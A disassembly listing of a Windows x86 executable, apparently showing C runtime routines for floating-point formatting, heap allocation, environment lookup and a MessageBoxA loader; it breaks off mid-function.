test bl, 20h
jz short loc_41E7A7
or al, 1
loc_41E7A7: ; CODE XREF: sub_41E77A+29j
test bl, 2
jz short loc_41E7B1
or eax, 80000h
loc_41E7B1: ; CODE XREF: sub_41E77A+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_41E7E9
cmp edx, 400h
jz short loc_41E7E6
cmp edx, 800h
jz short loc_41E7E2
cmp edx, esi
jnz short loc_41E7E9
or eax, edi
jmp short loc_41E7E9
; ---------------------------------------------------------------------------
loc_41E7E2: ; CODE XREF: sub_41E77A+5Ej
or eax, ebp
jmp short loc_41E7E9
; ---------------------------------------------------------------------------
loc_41E7E6: ; CODE XREF: sub_41E77A+56j
or ah, 1
loc_41E7E9: ; CODE XREF: sub_41E77A+4Ej
; sub_41E77A+62j ...
and ecx, edi
pop esi
jz short loc_41E7F9
cmp ecx, ebp
jnz short loc_41E7FE
or eax, 10000h
jmp short loc_41E7FE
; ---------------------------------------------------------------------------
loc_41E7F9: ; CODE XREF: sub_41E77A+72j
or eax, 20000h
loc_41E7FE: ; CODE XREF: sub_41E77A+76j
; sub_41E77A+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_41E80B
or eax, 40000h
locret_41E80B: ; CODE XREF: sub_41E77A+8Aj
retn
sub_41E77A endp
; =============== S U B R O U T I N E =======================================
sub_41E80C proc near ; CODE XREF: sub_41E72F+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_41E81C
push 1
pop eax
loc_41E81C: ; CODE XREF: sub_41E80C+Bj
test bl, 8
jz short loc_41E823
or al, 4
loc_41E823: ; CODE XREF: sub_41E80C+13j
test bl, 4
jz short loc_41E82A
or al, 8
loc_41E82A: ; CODE XREF: sub_41E80C+1Aj
test bl, 2
jz short loc_41E831
or al, 10h
loc_41E831: ; CODE XREF: sub_41E80C+21j
test bl, 1
jz short loc_41E838
or al, 20h
loc_41E838: ; CODE XREF: sub_41E80C+28j
test ebx, 80000h
jz short loc_41E842
or al, 2
loc_41E842: ; CODE XREF: sub_41E80C+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_41E86F
cmp ecx, 100h
jz short loc_41E86C
cmp ecx, esi
jz short loc_41E867
cmp ecx, edx
jnz short loc_41E86F
or ah, 0Ch
jmp short loc_41E86F
; ---------------------------------------------------------------------------
loc_41E867: ; CODE XREF: sub_41E80C+50j
or ah, 8
jmp short loc_41E86F
; ---------------------------------------------------------------------------
loc_41E86C: ; CODE XREF: sub_41E80C+4Cj
or ah, 4
loc_41E86F: ; CODE XREF: sub_41E80C+44j
; sub_41E80C+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_41E885
cmp ecx, 10000h
jnz short loc_41E887
or eax, esi
jmp short loc_41E887
; ---------------------------------------------------------------------------
loc_41E885: ; CODE XREF: sub_41E80C+6Bj
or eax, edx
loc_41E887: ; CODE XREF: sub_41E80C+73j
; sub_41E80C+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_41E894
or ah, 10h
locret_41E894: ; CODE XREF: sub_41E80C+83j
retn
sub_41E80C endp
; =============== S U B R O U T I N E =======================================
sub_41E895 proc near ; CODE XREF: sub_41E934+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_41E8DA
inc esi
cmp esi, 3
jge short loc_41E8D5
lea eax, [eax+esi*4]
loc_41E8C7: ; CODE XREF: sub_41E895+3Ej
cmp dword ptr [eax], 0
jnz short loc_41E8DA
inc esi
add eax, 4
cmp esi, 3
jl short loc_41E8C7
loc_41E8D5: ; CODE XREF: sub_41E895+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_41E8DA: ; CODE XREF: sub_41E895+27j
; sub_41E895+35j
xor eax, eax
pop esi
retn
sub_41E895 endp
; =============== S U B R O U T I N E =======================================
sub_41E8DE proc near ; CODE XREF: sub_41E934+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_41F17E
add esp, 0Ch
dec esi
js short loc_41E930
lea edi, [ebx+esi*4]
loc_41E917: ; CODE XREF: sub_41E8DE+50j
test eax, eax
jz short loc_41E930
push edi
push 1
push dword ptr [edi]
call sub_41F17E
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_41E917
loc_41E930: ; CODE XREF: sub_41E8DE+34j
; sub_41E8DE+3Bj
pop edi
pop esi
pop ebx
retn
sub_41E8DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E934 proc near ; CODE XREF: sub_41EA8F+81p
; sub_41EA8F+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_41E998
inc ebx
push ebx
push [ebp+arg_0]
call sub_41E895
pop ecx
test eax, eax
pop ecx
jnz short loc_41E995
push edi
push [ebp+arg_0]
call sub_41E8DE
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_41E995: ; CODE XREF: sub_41E934+51j
mov eax, [ebp+arg_4]
loc_41E998: ; CODE XREF: sub_41E934+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_41E9B8
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_41E9B8: ; CODE XREF: sub_41E934+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41E934 endp
; =============== S U B R O U T I N E =======================================
sub_41E9C0 proc near ; CODE XREF: sub_41EA8F+75p
; sub_41EA8F+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_41E9CE: ; CODE XREF: sub_41E9C0+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_41E9CE
pop esi
retn
sub_41E9C0 endp
; =============== S U B R O U T I N E =======================================
sub_41E9DB proc near ; CODE XREF: sub_41EA8F+5Fp
; sub_41EA8F+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_41E9DB endp
; =============== S U B R O U T I N E =======================================
sub_41E9E7 proc near ; CODE XREF: sub_41EA8F+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_41E9ED: ; CODE XREF: sub_41E9E7+12j
cmp dword ptr [eax], 0
jnz short loc_41E9FF
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_41E9ED
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41E9FF: ; CODE XREF: sub_41E9E7+9j
xor eax, eax
retn
sub_41E9E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EA02 proc near ; CODE XREF: sub_41EA8F+C0p
; sub_41EA8F+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_41EA38: ; CODE XREF: sub_41EA02+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_41EA38
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_41EA6A: ; CODE XREF: sub_41EA02+86j
cmp ebx, edi
jl short loc_41EA7D
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_41EA84
; ---------------------------------------------------------------------------
loc_41EA7D: ; CODE XREF: sub_41EA02+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_41EA84: ; CODE XREF: sub_41EA02+79j
dec ebx
sub ecx, 4
jns short loc_41EA6A
pop edi
pop esi
pop ebx
leave
retn
sub_41EA02 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EA8F proc near ; CODE XREF: sub_41EBFB+Dp
; sub_41EC11+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_41EAFC
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_41E9E7
test eax, eax
pop ecx
jnz loc_41EBBB
lea eax, [ebp+var_C]
push eax
call sub_41E9DB
pop ecx
loc_41EAF4: ; CODE XREF: sub_41EA8F+E4j
push 2
loc_41EAF6: ; CODE XREF: sub_41EA8F+110j
pop eax
jmp loc_41EBBD
; ---------------------------------------------------------------------------
loc_41EAFC: ; CODE XREF: sub_41EA8F+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_41E9C0
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_41E934
add esp, 10h
test eax, eax
jz short loc_41EB1D
inc ebx
loc_41EB1D: ; CODE XREF: sub_41EA8F+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_41EB35
lea eax, [ebp+var_C]
push eax
call sub_41E9DB
pop ecx
jmp short loc_41EB71
; ---------------------------------------------------------------------------
loc_41EB35: ; CODE XREF: sub_41EA8F+98j
cmp ebx, eax
jg short loc_41EB78
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_41E9C0
lea eax, [ebp+var_C]
push esi
push eax
call sub_41EA02
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_41E934
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_41EA02
add esp, 20h
loc_41EB71: ; CODE XREF: sub_41EA8F+A4j
xor esi, esi
jmp loc_41EAF4
; ---------------------------------------------------------------------------
loc_41EB78: ; CODE XREF: sub_41EA8F+A8j
cmp ebx, [edi]
jl short loc_41EBA4
lea eax, [ebp+var_C]
push eax
call sub_41E9DB
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_41EA02
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_41EAF6
; ---------------------------------------------------------------------------
loc_41EBA4: ; CODE XREF: sub_41EA8F+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_41EA02
pop ecx
pop ecx
loc_41EBBB: ; CODE XREF: sub_41EA8F+55j
xor eax, eax
loc_41EBBD: ; CODE XREF: sub_41EA8F+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_41EBEC
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_41EBF6
; ---------------------------------------------------------------------------
loc_41EBEC: ; CODE XREF: sub_41EA8F+14Ej
cmp edi, 20h
jnz short loc_41EBF6
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_41EBF6: ; CODE XREF: sub_41EA8F+15Bj
; sub_41EA8F+160j
pop edi
pop esi
pop ebx
leave
retn
sub_41EA8F endp
; =============== S U B R O U T I N E =======================================
sub_41EBFB proc near ; CODE XREF: sub_41EC27+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43BF20
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41EA8F
add esp, 0Ch
retn
sub_41EBFB endp
; =============== S U B R O U T I N E =======================================
sub_41EC11 proc near ; CODE XREF: sub_41EC54+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43BF38
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41EA8F
add esp, 0Ch
retn
sub_41EC11 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EC27 proc near ; CODE XREF: sub_41C59F+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_41F31F
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_41EBFB
add esp, 24h
leave
retn
sub_41EC27 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EC54 proc near ; CODE XREF: sub_41C59F+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_41F31F
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_41EC11
add esp, 24h
leave
retn
sub_41EC54 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EC81 proc near ; CODE XREF: sub_41C5DD+65p
; sub_41C6E1+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_41ECBE
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_41ECA4: ; CODE XREF: sub_41EC81+38j
mov dl, [ecx]
test dl, dl
jz short loc_41ECB0
movsx edx, dl
inc ecx
jmp short loc_41ECB3
; ---------------------------------------------------------------------------
loc_41ECB0: ; CODE XREF: sub_41EC81+27j
push 30h
pop edx
loc_41ECB3: ; CODE XREF: sub_41EC81+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_41ECA4
mov edx, [ebp+arg_8]
loc_41ECBE: ; CODE XREF: sub_41EC81+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_41ECD7
cmp byte ptr [ecx], 35h
jl short loc_41ECD7
loc_41ECCA: ; CODE XREF: sub_41EC81+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_41ECD5
mov byte ptr [eax], 30h
jmp short loc_41ECCA
; ---------------------------------------------------------------------------
loc_41ECD5: ; CODE XREF: sub_41EC81+4Dj
inc byte ptr [eax]
loc_41ECD7: ; CODE XREF: sub_41EC81+42j
; sub_41EC81+47j
cmp byte ptr [esi], 31h
jnz short loc_41ECE1
inc dword ptr [edx+4]
jmp short loc_41ECF3
; ---------------------------------------------------------------------------
loc_41ECE1: ; CODE XREF: sub_41EC81+59j
push edi
call sub_417AF0
inc eax
push eax
push edi
push esi
call sub_41D840
add esp, 10h
loc_41ECF3: ; CODE XREF: sub_41EC81+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41EC81 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ECF8 proc near ; CODE XREF: sub_41C5DD+3Fp
; sub_41C6E1+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_41ED5C
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_515B00
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_41F7F0
mov dword_515B28, eax
add esp, 18h
movsx eax, byte_515B02
mov dword_515B20, eax
pop edi
movsx eax, word_515B00
mov dword_515B24, eax
mov dword_515B2C, offset dword_515B04
mov eax, offset dword_515B20
pop esi
leave
retn
sub_41ECF8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ED5C proc near ; CODE XREF: sub_41ECF8+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_41EDAA
cmp ebx, edi
jz short loc_41EDA3
lea edi, [ecx+3C00h]
jmp short loc_41EDCB
; ---------------------------------------------------------------------------
loc_41EDA3: ; CODE XREF: sub_41ED5C+3Dj
mov edi, 7FFFh
jmp short loc_41EDCB
; ---------------------------------------------------------------------------
loc_41EDAA: ; CODE XREF: sub_41ED5C+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_41EDC2
cmp edx, ebx
jnz short loc_41EDC2
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_41EE0D
; ---------------------------------------------------------------------------
loc_41EDC2: ; CODE XREF: sub_41ED5C+52j
; sub_41ED5C+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_41EDCB: ; CODE XREF: sub_41ED5C+45j
; sub_41ED5C+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_41EDE3: ; CODE XREF: sub_41ED5C+A6j
test ecx, esi
jnz short loc_41EE04
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_41EDE3
; ---------------------------------------------------------------------------
loc_41EE04: ; CODE XREF: sub_41ED5C+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_41EE0D: ; CODE XREF: sub_41ED5C+64j
pop edi
pop esi
pop ebx
leave
retn
sub_41ED5C endp
; ---------------------------------------------------------------------------
push 2
call sub_4191E5
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_41EE1B proc near ; CODE XREF: ___:0041CBFAp
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_41EE2C
add esp, 0Ch
retn
sub_41EE1B endp
; =============== S U B R O U T I N E =======================================
sub_41EE2C proc near ; CODE XREF: sub_41EE1B+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test byte_516DA1[eax], cl
jnz short loc_41EE59
cmp [esp+arg_4], 0
jz short loc_41EE52
movzx eax, word_43B5AA[eax*2]
and eax, [esp+arg_4]
jmp short loc_41EE54
; ---------------------------------------------------------------------------
loc_41EE52: ; CODE XREF: sub_41EE2C+16j
xor eax, eax
loc_41EE54: ; CODE XREF: sub_41EE2C+24j
test eax, eax
jnz short loc_41EE59
retn
; ---------------------------------------------------------------------------
loc_41EE59: ; CODE XREF: sub_41EE2C+Fj
; sub_41EE2C+2Aj
push 1
pop eax
retn
sub_41EE2C endp
; =============== S U B R O U T I N E =======================================
sub_41EE5D proc near ; CODE XREF: sub_41D415+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp dword_515B30, ebx
push esi
push edi
jnz short loc_41EEAC
push offset aUser32_dll ; "user32.dll"
nop
call near ptr 7C801D77h
mov edi, eax
cmp edi, ebx
jz short loc_41EEE2
mov esi, dword_4210D8
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi ; GetProcAddress
test eax, eax
mov dword_515B30, eax
jz short loc_41EEE2
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi ; GetProcAddress
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_515B34, eax
call esi ; GetProcAddress
mov dword_515B38, eax
loc_41EEAC: ; CODE XREF: sub_41EE5D+Bj
mov eax, dword_515B34
test eax, eax
jz short loc_41EECB
call eax ; GetActiveWindow
mov ebx, eax
test ebx, ebx
jz short loc_41EECB
mov eax, dword_515B38
test eax, eax
jz short loc_41EECB
push ebx
call eax ; GetLastActivePopup
mov ebx, eax
loc_41EECB: ; CODE XREF: sub_41EE5D+56j
; sub_41EE5D+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call dword_515B30 ; MessageBoxA
loc_41EEDE: ; CODE XREF: sub_41EE5D+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41EEE2: ; CODE XREF: sub_41EE5D+1Cj
; sub_41EE5D+33j
xor eax, eax
jmp short loc_41EEDE
sub_41EE5D endp
; =============== S U B R O U T I N E =======================================
sub_41EEE6 proc near ; CODE XREF: sub_41D5D2+22p
; sub_41D5D2+3Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
imul esi, [esp+0Ch+arg_4]
cmp esi, 0FFFFFFE0h
mov ebx, esi
ja short loc_41EF06
test esi, esi
jnz short loc_41EF00
push 1
pop esi
loc_41EF00: ; CODE XREF: sub_41EEE6+15j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_41EF06: ; CODE XREF: sub_41EEE6+11j
; sub_41EEE6+65j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_41EF37
cmp ebx, dword_43B7BC
ja short loc_41EF22
push ebx
call sub_419FAD
mov edi, eax
pop ecx
test edi, edi
jnz short loc_41EF4D
loc_41EF22: ; CODE XREF: sub_41EEE6+2Dj
push esi
push 8
push dword_516EC0
nop
call near ptr 7C9105D4h
mov edi, eax
test edi, edi
jnz short loc_41EF59
loc_41EF37: ; CODE XREF: sub_41EEE6+25j
cmp dword_5158DC, 0
jz short loc_41EF59
push esi
call sub_419BC2
test eax, eax
pop ecx
jz short loc_41EF5F
jmp short loc_41EF06
; ---------------------------------------------------------------------------
loc_41EF4D: ; CODE XREF: sub_41EEE6+3Aj
push ebx
push 0
push edi
call sub_417430
add esp, 0Ch
loc_41EF59: ; CODE XREF: sub_41EEE6+4Fj
; sub_41EEE6+58j
mov eax, edi
loc_41EF5B: ; CODE XREF: sub_41EEE6+7Bj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41EF5F: ; CODE XREF: sub_41EEE6+63j
xor eax, eax
jmp short loc_41EF5B
sub_41EEE6 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41D677
loc_41EF63: ; CODE XREF: sub_41D677+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp dword_516B60, esi
jle short loc_41EFB6
loc_41EF72: ; CODE XREF: sub_41D677+193Dj
mov eax, dword_515B4C
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41EFAD
test byte ptr [eax+0Ch], 83h
jz short loc_41EF91
push eax
call sub_4180DC
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41EF91
inc edi
loc_41EF91: ; CODE XREF: sub_41D677+190Bj
; sub_41D677+1917j
cmp esi, 14h
jl short loc_41EFAD
mov eax, dword_515B4C
push dword ptr [eax+esi*4]
call sub_417C62
mov eax, dword_515B4C
pop ecx
and dword ptr [eax+esi*4], 0
loc_41EFAD: ; CODE XREF: sub_41D677+1905j
; sub_41D677+191Dj
inc esi
cmp esi, dword_516B60
jl short loc_41EF72
loc_41EFB6: ; CODE XREF: sub_41D677+18F9j
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_41D677
; =============== S U B R O U T I N E =======================================
sub_41EFBB proc near ; CODE XREF: sub_41DD12+23p
arg_0 = dword ptr 4
cmp dword_516EC8, 0
push ebx
push esi
mov esi, dword_5158AC
push edi
jz short loc_41F032
test esi, esi
jnz short loc_41EFEC
cmp dword_5158B4, esi
jz short loc_41F032
call sub_41FAC2
test eax, eax
jnz short loc_41F032
mov esi, dword_5158AC
test esi, esi
jz short loc_41F032
loc_41EFEC: ; CODE XREF: sub_41EFBB+14j
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_41F032
push ebx
call sub_417AF0
pop ecx
mov edi, eax
loc_41EFFD: ; CODE XREF: sub_41EFBB+6Dj
mov eax, [esi]
test eax, eax
jz short loc_41F032
push eax
call sub_417AF0
cmp eax, edi
pop ecx
jbe short loc_41F025
mov eax, [esi]
cmp byte ptr [eax+edi], 3Dh
jnz short loc_41F025
push edi
push ebx
push eax
call sub_41FA83
add esp, 0Ch
test eax, eax
jz short loc_41F02A
loc_41F025: ; CODE XREF: sub_41EFBB+51j
; sub_41EFBB+59j
add esi, 4
jmp short loc_41EFFD
; ---------------------------------------------------------------------------
loc_41F02A: ; CODE XREF: sub_41EFBB+68j
mov eax, [esi]
lea eax, [eax+edi+1]
jmp short loc_41F034
; ---------------------------------------------------------------------------
loc_41F032: ; CODE XREF: sub_41EFBB+10j
; sub_41EFBB+1Cj ...
xor eax, eax
loc_41F034: ; CODE XREF: sub_41EFBB+75j
pop edi
pop esi
pop ebx
retn
sub_41EFBB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F038 proc near ; CODE XREF: sub_41E476+271p
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_417B70
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp ebx, dword_516C80
jnb loc_41F16D
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_516B80[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_41F16D
push 1
push esi
push ebx
call sub_41BA39
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_41F177
push 2
push esi
push ebx
call sub_41BA39
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_41F177
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_41F11A
push 1000h
lea eax, [ebp+var_1000]
push esi
push eax
call sub_417430
push 8000h
push ebx
call sub_41FB30
add esp, 14h
mov [ebp+arg_4], eax
loc_41F0CE: ; CODE XREF: sub_41F038+BDj
mov eax, 1000h
cmp edi, eax
jge short loc_41F0D9
mov eax, edi
loc_41F0D9: ; CODE XREF: sub_41F038+9Dj
push eax
lea eax, [ebp+var_1000]
push eax
push ebx
call sub_41BE4F
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_41F0F7
sub edi, eax
test edi, edi
jle short loc_41F10D
jmp short loc_41F0CE
; ---------------------------------------------------------------------------
loc_41F0F7: ; CODE XREF: sub_41F038+B5j
cmp dword_515888, 5
jnz short loc_41F10A
mov dword_515884, 0Dh
